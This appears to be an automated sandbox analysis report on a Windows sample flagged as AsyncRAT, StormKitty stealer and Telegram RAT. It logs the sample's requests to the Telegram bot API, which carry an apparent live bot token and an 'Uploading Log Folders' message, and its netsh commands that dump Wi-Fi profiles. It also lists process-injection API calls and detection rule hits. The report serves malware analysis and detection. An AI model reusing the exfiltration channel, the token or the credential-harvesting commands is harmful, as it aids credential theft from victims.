2025-01-11 00:12:50 UTC	84	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 33 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 62 69 64 64 65 6e 3a 20 62 6f 74 20 77 61 73 20 62 6c 6f 63 6b 65 64 20 62 79 20 74 68 65 20 75 73 65 72 22 7d Data Ascii: {"ok":false,"error_code":403,"description":"Forbidden: bot was blocked by the user"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49772	149.154.167.220	443	7268	C:\Users\user\Desktop\JGvCEaqruI.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:12:51 UTC	171	OUT	GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1 Host: api.telegram.org
2025-01-11 00:12:51 UTC	344	IN	HTTP/1.1 403 Forbidden Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 00:12:51 GMT Content-Type: application/json Content-Length: 84 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 00:12:51 UTC	84	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 33 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 62 69 64 64 65 6e 3a 20 62 6f 74 20 77 61 73 20 62 6c 6f 63 6b 65 64 20 62 79 20 74 68 65 20 75 73 65 72 22 7d Data Ascii: {"ok":false,"error_code":403,"description":"Forbidden: bot was blocked by the user"}

Target ID:	1
Start time:	19:12:29
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\JGvCEaqruI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JGvCEaqruI.exe"
Imagebase:	0xfb0000
File size:	933'888 bytes
MD5 hash:	FEF7AAB8BBB6E60534EDC8DB7AAFF00A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:12:30
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\JGvCEaqruI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JGvCEaqruI.exe"
Imagebase:	0x470000
File size:	933'888 bytes
MD5 hash:	FEF7AAB8BBB6E60534EDC8DB7AAFF00A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:12:44
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:12:44
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:12:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xf80000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:12:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x1770000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:12:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0x20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:12:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:12:46
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:12:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xf80000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:12:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x1770000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.2%
Total number of Nodes:	247
Total number of Limit Nodes:	17

Executed Functions

Function 07B28953 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f4b62b65b165f05a6e80f05e11973269b026d0ed01fecceaf627de852c83d6
Instruction ID: 8f96fd2037af61befff3563c3879c3416c2bb4cbea7e1a9dbf7e5ee6a588b549
Opcode Fuzzy Hash: e6f4b62b65b165f05a6e80f05e11973269b026d0ed01fecceaf627de852c83d6
Instruction Fuzzy Hash: 4ED19BB1B027218FEB25DB75C450BAEB7F6AF89600F1444ADD14ADB294DB35E802CB52

Function 01926F90 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46569634159d15a4d50ed6bd9ee72cf530cd580c5d7379edceff3efd35eb5e9a
Instruction ID: de0a76388c5545aea0e8faca0a5205a697c13f0dbef12a4b109f7982a8637872
Opcode Fuzzy Hash: 46569634159d15a4d50ed6bd9ee72cf530cd580c5d7379edceff3efd35eb5e9a
Instruction Fuzzy Hash: 7951A770E012199FDB18DFA9D8919EEBBF2FF88300F14806AD419AB365DB359942CF50

Function 01924218 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23c46d7894e9bc85027b33795611e334b347910b6e27aa56a6935a026c83a3a0
Instruction ID: 27e9ca700b11b81ef59fea1653a6a9a0bf820f925b243c2a12af2d0864fb5cab
Opcode Fuzzy Hash: 23c46d7894e9bc85027b33795611e334b347910b6e27aa56a6935a026c83a3a0
Instruction Fuzzy Hash: 07519870E012199FDB08DFA9D8509EEBBF2FF88300F148469D419AB364DB759942CF55

Function 0192D4E8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 136
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0192D576
GetCurrentThread.KERNEL32 ref: 0192D5B3
GetCurrentProcess.KERNEL32 ref: 0192D5F0
GetCurrentThreadId.KERNEL32 ref: 0192D649

Strings

qH|~, xrefs: 0192D514

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: Current$ProcessThread
String ID: qH|~
API String ID: 2063062207-3094982236
Opcode ID: 9d92c22f1433a093e56be347d21b42765829d5db9cfc2af98c43c7ef87c06d72
Instruction ID: 015a94b58acc9582d50a611386d222d79dbca18602ecaacde7aee288710de003
Opcode Fuzzy Hash: 9d92c22f1433a093e56be347d21b42765829d5db9cfc2af98c43c7ef87c06d72
Instruction Fuzzy Hash: 075167B09003498FDB14DFA9D548B9EBBF1FF88304F248059D419AB3A4C774A945CF6A

Function 0192D4F8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0192D576
GetCurrentThread.KERNEL32 ref: 0192D5B3
GetCurrentProcess.KERNEL32 ref: 0192D5F0
GetCurrentThreadId.KERNEL32 ref: 0192D649

Strings

qH|~, xrefs: 0192D514

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: Current$ProcessThread
String ID: qH|~
API String ID: 2063062207-3094982236
Opcode ID: 1a31df0c594ff9e588eb23e9f8047ca20965b6a21ace6ac419ebf557b7e8aa0f
Instruction ID: b273737e836a71a627d726490d6d8df0665d20ca6e83029f24d92670fb905d67
Opcode Fuzzy Hash: 1a31df0c594ff9e588eb23e9f8047ca20965b6a21ace6ac419ebf557b7e8aa0f
Instruction Fuzzy Hash: 645157B0D003098FDB14DFAAD548B9EBBF5FB88314F208059E419AB3A4D7759944CF6A

Function 07B257FC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 244
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07B25A3E

Strings

qH|~, xrefs: 07B25843
qH|~, xrefs: 07B25872

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: CreateProcess
String ID: qH|~$qH|~
API String ID: 963392458-1278555146
Opcode ID: 5788122f837a57c3d9f5683b7ca6bf451ac98a90733eced6faa5c13a4e449659
Instruction ID: d129b85ccb5d69749926fa90a7aa96388e56fb97bd0cce3abeef66876b6d01ba
Opcode Fuzzy Hash: 5788122f837a57c3d9f5683b7ca6bf451ac98a90733eced6faa5c13a4e449659
Instruction Fuzzy Hash: D5915BB1D0122ACFEB20DF68C8417EDBBB2FF44310F1481A9E849A7240DB759996DF91

Function 07B25808 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07B25A3E

Strings

qH|~, xrefs: 07B25843
qH|~, xrefs: 07B25872

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: CreateProcess
String ID: qH|~$qH|~
API String ID: 963392458-1278555146
Opcode ID: 1912e01e2fe735d78a3d5ec059e4d0d10c9abc31c59a8a02182290c016e4560d
Instruction ID: 55a81e63a046754b033a3b05c7ed42aa583d11a535348bd474f394f2aa3be3eb
Opcode Fuzzy Hash: 1912e01e2fe735d78a3d5ec059e4d0d10c9abc31c59a8a02182290c016e4560d
Instruction Fuzzy Hash: 49914CB1D0122ACFEB24DF68C8417ADBBB2FF44310F1481A9E859A7240DB749996DF91

Function 0192AE59 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0192B0BE

Strings

qH|~, xrefs: 0192B077

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: HandleModule
String ID: qH|~
API String ID: 4139908857-3094982236
Opcode ID: c498e73dfb54b9119c0e38ae462e25c3d2f16900227453887a0bc56505ffb97a
Instruction ID: 864fa30775899085023d737f7925ebff41d8a859d361502fbd2943323d1f6306
Opcode Fuzzy Hash: c498e73dfb54b9119c0e38ae462e25c3d2f16900227453887a0bc56505ffb97a
Instruction Fuzzy Hash: 7B91AC71A00B558FE725DF29C44079ABBF5FF88300F04492ED58ACBA55D739E80ACB90

Function 0192590D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 019259C9

Strings

qH|~, xrefs: 0192594C

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: Create
String ID: qH|~
API String ID: 2289755597-3094982236
Opcode ID: 057e4f6904e05e6bbbbab6efab57bdee846280d5ef15e89b900f2087920b0765
Instruction ID: c99d99fd56feb4c7d15f14fb3dfab70df0e8452a4fd28bb6c6cbf0dd96955381
Opcode Fuzzy Hash: 057e4f6904e05e6bbbbab6efab57bdee846280d5ef15e89b900f2087920b0765
Instruction Fuzzy Hash: FA41F271C00729CFEB24CFA9C885BDDBBB5BF89304F20815AD418AB255DB756946CF50

Function 019244E0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 019259C9

Strings

qH|~, xrefs: 0192594C

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: Create
String ID: qH|~
API String ID: 2289755597-3094982236
Opcode ID: 2862067a370d3edf3bae3bcb55c4ec7e260591dce375b18d25fe16c53abc1715
Instruction ID: 904126f616812aa6c1ce8faeae82dce82553d3e2fd7eccccb85703aedddc7a86
Opcode Fuzzy Hash: 2862067a370d3edf3bae3bcb55c4ec7e260591dce375b18d25fe16c53abc1715
Instruction Fuzzy Hash: 9141EE70C0072DCBEB24DFAAC885BDDBBB5BF49314F20816AD408AB255DB756946CF90

Function 07B25179 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07B25210

Strings

qH|~, xrefs: 07B2519F

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: qH|~
API String ID: 3559483778-3094982236
Opcode ID: 1d58deeaf80cc02b8a0902c49d5b9db58c276c2524fe93ccbcc041136bfa5fb3
Instruction ID: a7637a8c2b771b75c9859dc4d9803d331cab2fe1e16421d9273b0861db344d7e
Opcode Fuzzy Hash: 1d58deeaf80cc02b8a0902c49d5b9db58c276c2524fe93ccbcc041136bfa5fb3
Instruction Fuzzy Hash: 1F2148B5D003599FDB10DFAAC881BDEBBF5FF48310F508429E918A7240C7789951DB64

Function 07B25180 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07B25210

Strings

qH|~, xrefs: 07B2519F

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: qH|~
API String ID: 3559483778-3094982236
Opcode ID: f85309a505426b28a23c1ecf2d7d72a36fa001caa655c213723665ccd54f0973
Instruction ID: e8c0f08ea6b8fdd32b71bc1ce616cf3eb62a18b295e8e7f74253e784929f492b
Opcode Fuzzy Hash: f85309a505426b28a23c1ecf2d7d72a36fa001caa655c213723665ccd54f0973
Instruction Fuzzy Hash: 212157B5D003599FDB20CFAAC881BDEBBF5FF48310F108429E918A7240C7789951DBA4

Function 07B25268 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07B252F0

Strings

qH|~, xrefs: 07B2528F

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: MemoryProcessRead
String ID: qH|~
API String ID: 1726664587-3094982236
Opcode ID: 3b372f3daf36e1b184afbad06c8b3d94d37ee62bce0fcf6bc400ec3e3dc81b79
Instruction ID: 835f3e7f4e8863fa431d237d1b06204917542bab065ff182305a115de119a5cb
Opcode Fuzzy Hash: 3b372f3daf36e1b184afbad06c8b3d94d37ee62bce0fcf6bc400ec3e3dc81b79
Instruction Fuzzy Hash: F72136B1C003599FDB10DFAAC881BEEBBF5FF48310F508429E919A7650C7799901CBA4

Function 0192D738 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0192D7C7

Strings

qH|~, xrefs: 0192D75F

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: DuplicateHandle
String ID: qH|~
API String ID: 3793708945-3094982236
Opcode ID: 6bcc839ecbfbf428bca7b66803010211cc70bfaa84b2338029793dfe48eea74b
Instruction ID: 457df2c2d155eb9704783de0d0f5d7d543d66e8b4819030eb3e49fd76745c7d3
Opcode Fuzzy Hash: 6bcc839ecbfbf428bca7b66803010211cc70bfaa84b2338029793dfe48eea74b
Instruction Fuzzy Hash: A821E5B5D002499FDB10CFAAD885AEEBFF9FB48310F14841AE958A7350C378A941CF65

Function 07B24BA9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07B24C2E

Strings

qH|~, xrefs: 07B24BCC

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: ContextThreadWow64
String ID: qH|~
API String ID: 983334009-3094982236
Opcode ID: 443122c61ae6a5fc16e937d4e488303e4c5be3177e7c0f5326daea294bb94151
Instruction ID: 61b8dff0bef3d5190ae782ab9566b26cfadb4f80fb91b49de77802bef2576511
Opcode Fuzzy Hash: 443122c61ae6a5fc16e937d4e488303e4c5be3177e7c0f5326daea294bb94151
Instruction Fuzzy Hash: DF2168B1D003098FDB10DFAAC4857EEBBF4EF48320F54842AD919A7640DB789945CFA4

Function 07B24BB0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07B24C2E

Strings

qH|~, xrefs: 07B24BCC

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: ContextThreadWow64
String ID: qH|~
API String ID: 983334009-3094982236
Opcode ID: a0113adf30427f63d31d9f12f8979ab657588495525b7ec6449a0b0b06c0f417
Instruction ID: cc793114de3433212b1c7226d8c7e18b55eaaf6b8214a3a3c796e7299973cf8e
Opcode Fuzzy Hash: a0113adf30427f63d31d9f12f8979ab657588495525b7ec6449a0b0b06c0f417
Instruction Fuzzy Hash: F42135B1D003498FDB10DFAAC485BAEBBF4EF48320F54842AD919A7650DB789945CFA4

Function 07B25270 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07B252F0

Strings

qH|~, xrefs: 07B2528F

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: MemoryProcessRead
String ID: qH|~
API String ID: 1726664587-3094982236
Opcode ID: 168155b6c25eb000e2756c0986254cb037f1cb249816c983c9fe67833cbe3c2e
Instruction ID: a954eb0c38fe9002564fa87dd3c52c5d1d1fd4459e92433e2eb0727365d93b64
Opcode Fuzzy Hash: 168155b6c25eb000e2756c0986254cb037f1cb249816c983c9fe67833cbe3c2e
Instruction Fuzzy Hash: 8F2128B1C003599FDB10DFAAC841BEEBBF5FF48310F508429E919A7250C7799941DBA4

Function 0192D740 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0192D7C7

Strings

qH|~, xrefs: 0192D75F

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: DuplicateHandle
String ID: qH|~
API String ID: 3793708945-3094982236
Opcode ID: 36a31d41d4349357ac18f8a79033879b6862f54f13772be95a1db1681709a556
Instruction ID: 44f717663934f1dc98d90cf15a2372f7411df76803b5077ac1e3c13e5a739e42
Opcode Fuzzy Hash: 36a31d41d4349357ac18f8a79033879b6862f54f13772be95a1db1681709a556
Instruction Fuzzy Hash: DB21E3B5D003489FDB10CF9AD884ADEBBF9FB48310F14841AE918A3350D378A940CF64

Function 07B250B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07B2512E

Strings

qH|~, xrefs: 07B250D7

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: AllocVirtual
String ID: qH|~
API String ID: 4275171209-3094982236
Opcode ID: 14dc910d005b65371ee939dddae063ace9553ca5cd69e52cb7a7533d21fa8a5b
Instruction ID: 666f8528e1053e8e38ccf454c520f6ea03497ea7e3a90a67fdc239d9d56c7c4b
Opcode Fuzzy Hash: 14dc910d005b65371ee939dddae063ace9553ca5cd69e52cb7a7533d21fa8a5b
Instruction Fuzzy Hash: D91147B6D003499FDB20DFAAC845BDEBBF5EF48310F148419E919A7250C7759541CBA4

Function 07B250C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07B2512E

Strings

qH|~, xrefs: 07B250D7

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: AllocVirtual
String ID: qH|~
API String ID: 4275171209-3094982236
Opcode ID: 94a002745315968e2591ffce7744a2c5ff52cff3429ecec9fa6f9bfaf727901a
Instruction ID: 9a83aa7e09231a152621d04181e9f0a1acda584cecfb313ee88ffb2f301b75f8
Opcode Fuzzy Hash: 94a002745315968e2591ffce7744a2c5ff52cff3429ecec9fa6f9bfaf727901a
